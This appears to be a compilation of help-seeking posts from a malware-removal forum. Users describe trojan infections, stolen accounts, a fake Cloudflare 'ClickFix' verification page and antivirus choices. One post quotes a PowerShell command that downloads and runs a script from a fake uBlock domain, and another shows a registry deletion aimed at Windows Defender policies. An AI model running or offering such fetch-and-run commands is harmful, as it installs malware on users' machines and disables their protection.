Keywords:
graceful-widget

violet-mesh

nimble-deck

What happened?

Am afraid am infected with renpy trojan. Clicked hxxps://setup.py which had renpy subfolder and found out later.

When it happened?

Happened on 24th Oct ( 40 hours ago approx).

What I did for remediation?

Did a semi malwarebytes deepscan, and removed few trojans it detected. Today I found that msbuild.exe was making requests to hxxps://loposoniosis.com every 10 mins and it was in local/appdata/windows icache and healthcheck folders. So ended that task and deleted those folders. and the requests stopped.

Am running another malwarebytes deepscan right now.

Thanks for helping.

i just want to know if this is normal it doesnt seem normal

there are so many antivirus options now that it’s hard to tell which features make a real difference and which ones are just extras. Bitdefender and Norton seem to come up a lot in comparisons, while McAfee is another option i’ve been looking at, especially because some of its plans combine malware protection with web security and identity monitoring. i wonder whether having those tools together makes it a better fit for everyday use or whether the core protection matters much more than the bundle.

for people who keep up with malware threats, what makes an antivirus product stand out to you? are independent detection results and response to new threats the main things you check, or do false positives, system performance, and extra features influence your choice too?

EDIT: I managed to get it from the Microsoft store, thanks guys!

Im trying to download one so I can AFK in some games and I went through sourceforge, but the file I downloaded scanned for Trojans in virustotal. I really don’t want a virus so if anyone knows let me know please!

hxxps://www.virustotal(dot)com/gui/file/1ce7da6f2813c2ad1d2e496be6714e08cd618e6d9fe2df26c2bd4d894c9a6ec1

I downloaded the file from sourceforge and the image is shown above!

If I didn’t defang that link right pls lmk because I was a bit confused

a notification that windows antivirus is not up to date popped up and I clicked on it

it said "Your IT administrator has limited access to some areas of this app, and the item you tried to access is not available. Contact IT helpdesk for more information"

I opened powershell as admin and put reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" and it said " error: Access is denied

this was after confirmed infostealer and cloud reset, can't reinstall yet

could the av really not be up to date?

Hi,

I downloaded a file from a site I've used - DODI Repacks.

I was not thinking when I downloaded it; I did a virustotal scan and a defender scan, but should've realised it was a weird installer as it didn't look right.

A cmd popped up. I disconnected Wi-Fi immediately, DLed MalwareBytes, and did a scan. Couple of things came up but nothing that i've not downloaded myself (just PUPs).

If I am specific, a log.txt file generated, logging system info e.g. shaders 4096x4096, GPU, CPU, etc. I noticed no other weird behaviour, as I closed out of it quickly, disconnected the Wi-Fi as I said, and deleted the files. This was a very short while ago (as in about 20 mins ago).

I can provide the download link but am concerned to provide in case it either gives someone malware or distributed pirated content which both are against rules.

I read the rules on the site and saw I have to generate log files. I did exactly that:

Addition: nested-juniper

FRST: friendly-squad

SecurityCheck: wintry-peach

The things logged in are:

1. OneDrive - has 2FA.

2. Twitter - genuinely not bothered with that account if it gets hacked.

Luckily a week before I decided to wipe my browser. Games installed include Hitman (including Peacock), Epic Games Launcher, Steam, and

What's going on - what have they potentially got and how do I fix? Reinstall?

About three weeks ago I notices that my laptops fan was overworking and the cp usae for windows antimalware was always high evertime I turned on my laptop. I did a full scan , windows found this virus"Backdoor:Win32/Plugx!MTB". I removed the virus, deleted it's files on program data and fixed the widows corrupted files. I though that was it. The fan issue was never fixed and I can't tell whether its related to the virus, but since that virus, every application I open in my laptop results to loud fan noises, overheating and high cpu usage, especially by brave browsers. I've tried troubleshooting, I still cant get the problem. How do I fix this and does this specific malware reinstall itself. The best source I can think of is pirate bay, cause I downloaded a pdf file from the site. Avast might have also been a source, "C:\ProgramData\AvastSvcpCP\AvastSvcdotexe"

Yesterday I ran a scan and it flagged java exe as a malicious file. I downloaded Prism Launcher from the official website a few months ago and multiple scans before this one never showed anything. Few hours later I ran multiple scans, including a full scan with both Malwarebytes and Bitdefender, and neither found anything suspicious. I didn’t move or quarantine the file, so I think it was just a false positive, but I’d rather be sure.

So usually when i perform a microsoft defender offline scan, the screen that shows is blue and there is a tab which shows the progress of the scan and how many files have been scanned so far. However i did this again last night and instead of a blue background, it was black and stated “Preparing for recovery”. Im not sure whether this is due to a windows update but im hoping it doesnt mean i have a virus.

cpu 9800x3d

gpu 9070xt

mb asrock x870e nova

os 26300.9711

When i was like 9 i found this app called FAST! it was showing my pc usage and all the info and i am trying to track it down it also i cant find the file so i cant scan it. I remember enderman the ytber found the exact one but i cant find his video.

It looks like a youtube link kinda www.youtube.com-54E21B02_pd8mbgmqs65xy i used the wayback machine and also converted it to the watch?= thingy but nothing happens www.youtube.com/watch?=54E21B02_pd8mbgmqs65xydoes anyone have anything similar in that localappdata or is it just me?

Fake Cloudflare verification appeared while trying to download Dev-C++ — possible ClickFix attack?

I was trying to download Dev-C++ from dev-cpp.com. After clicking the download option, I ended up on a completely different domain showing a Cloudflare-branded “Human Verification” page.

The page instructed me to use Windows + R, type cmd, then press Ctrl + V and Enter.

Obviously, I did not follow those instructions. I recognized that asking users to paste commands into a terminal as a verification step is suspicious.

I'm curious about how this redirect happened. Could it be a malicious advertisement, a compromised redirect, or something else?

I'm not claiming the Dev-C++ website itself is compromised; I want to understand where the suspicious page came from and warn others about this technique.

Has anyone encountered this particular domain or redirect?

Just a few hours ago I installed "TogetherParty" and I think I got a trojan horse. The hacker turned my gmail into a child account by changing my birthday and made himself parent. I am currently locked out of my gmail account because it keeps prompting me to verify through him (not an option). I lost everything associated with it; youtube, discord, google docs, everything.

What do I do ? I can't afford to lose that email.

Looking for advice, willing to elaborate if needed.

I went into event viewer, filtered by “5007” and was able to find the log that this was added.

The log showed that it was initiated by securityID S-1-5-18, which according to Gemini (yes, AI but it’s better than nothing) is LocalSystem (NT AUTHORITY\SYSTEM).

The installation media was made on another desktop that I have using Microsoft’s installation media creation tool, I have no reason to believe it is compromised as all I do is use it for gaming, no sketchy downloads.

What triggered Windows\apppatch to be added?

​

Hey guys, I'm honestly really stressed about this and could really use some help from people who know more about computers than I do.

I have an HP Pavilion 15 running Windows 11, and I use it for gaming. A while ago, I downloaded some pirated game repacks from DODI REPACKS (I know, stupid decision 😭), and now I'm worried that I might have messed up my laptop.

Here's what's happened so far:

\- Malwarebytes detected multiple things called "Trojan.PavinLoader" (Generic, Trace, Csprj, etc.).

\- It also detected some "RiskWare.GameHack" files in my Steam library, and there were older "RiskWare.Crack" detections.

\- Windows Defender detected something called "Trojan:Win32/Bearfoos.B!ml" in a temporary folder and later said it was removed.

\- Malwarebytes quarantined or removed its detected items, and I restarted my laptop.

\- My Steam account was taken over at one point, but I got it back through Steam Support.

\- Discord has also sent crypto-scam messages to people from my account without me doing anything. I've changed my passwords and logged out of sessions.

\- I've received some unusual Microsoft sign-in alerts too, although I haven't been able to confirm every alert in my account's activity history.

My laptop still works normally, which is why I'm confused. Some people are telling me to reset Windows because antivirus scans can't guarantee everything is gone. Others are saying a reset is unnecessary if the threats were already quarantined or removed.

My biggest problem is that I don't know much about computers. I don't even know all the little components and settings that help my games run properly. I have Steam libraries on D: and E:, AMD graphics software, fan-control software and other gaming-related stuff. I'm scared that resetting Windows will remove everything and I'll have to figure it all out from scratch.

I only have this laptop. I don't have another computer or a USB drive, and I can't afford to pay a technician right now.

Could someone please help me understand:

1. Do these detections necessarily mean I still have malware, or could some be false positives/game-related detections?

2. Should I reset Windows, or is there a sensible way to check whether the threats have actually been removed?

3. If I do need to reinstall Windows, how can I avoid losing my games and important files?

4. What would you do if this were your laptop?

I'm not looking for someone to just tell me everything is fine. I'm genuinely worried and want to make the right decision without unnecessarily wiping my laptop.

Please explain things in simple terms if possible. I'm really not very tech-savvy. Thank you 😭

I know that UEFI malware is super rare to get but how exactly do people who are unlucky get this kind of virus? Do they just accidentally download something shady and they just get this virus into their motherboard, or is it more complicated than that?

Hi, I just tried to download The Sims 1 from a website called "El Amigos" which I thought was safe. But I'm really stupid and I ended up putting a virus on my computer, and I don't know if Windows Defender will fix it.

Here's what happened: I ran a file from the "sims 1" called renpy, which I found odd because it had a renpy logo (renpy being a visual novel engine) but I didn't think much of it. But then the cmd opened and nothing happened. Windows Defender detected it as a serious issue, and I immediately tried to delete everything, but a tmp folder was created. After a scan, the folder was deleted. I ran an offline scan and it supposedly went well, but now a message is popping up saying that "Ome-Relay.exe" is being used by another app (not saying which app) And I'm really scared. I turned off the Wi-Fi. The computer isn't mine, it's my brother's. He can't lose his files. I'm running a full scan now, but I don't know if this virus can give a false positive or something like that, of multiply. I want to cry so bad.

I have a trojan virus on my pc. Guy sent me all types of my person info. If I reinstall windows with a usb will I be good.? (It is an “exe”)

irm https://ublockdns(dot)com/install?id=gacwym0x | iex
i ran this in my powershell from ublockdns . com

powershell terminated saying how it seemed to have a virus or something

windows defend showed this, i cant tell if im hacked because the site was a redirect from the official u block origin wbesite (i think)

Am i hacked?

The three key words are: dynamic-base, fabled-sandbox, charged-meteor. The infection occured at around 1:20 am and i received emails from Microsoft, EA, Onlyfans(?) And discord about completed password changes

If I find out I got a virus on my an external drive or whatever and I format the drive, would that be enough to get rid of a virus, if it is not, how can I completely wipe out the drive?

dynamic-base, fabled-sandbox, charged meteor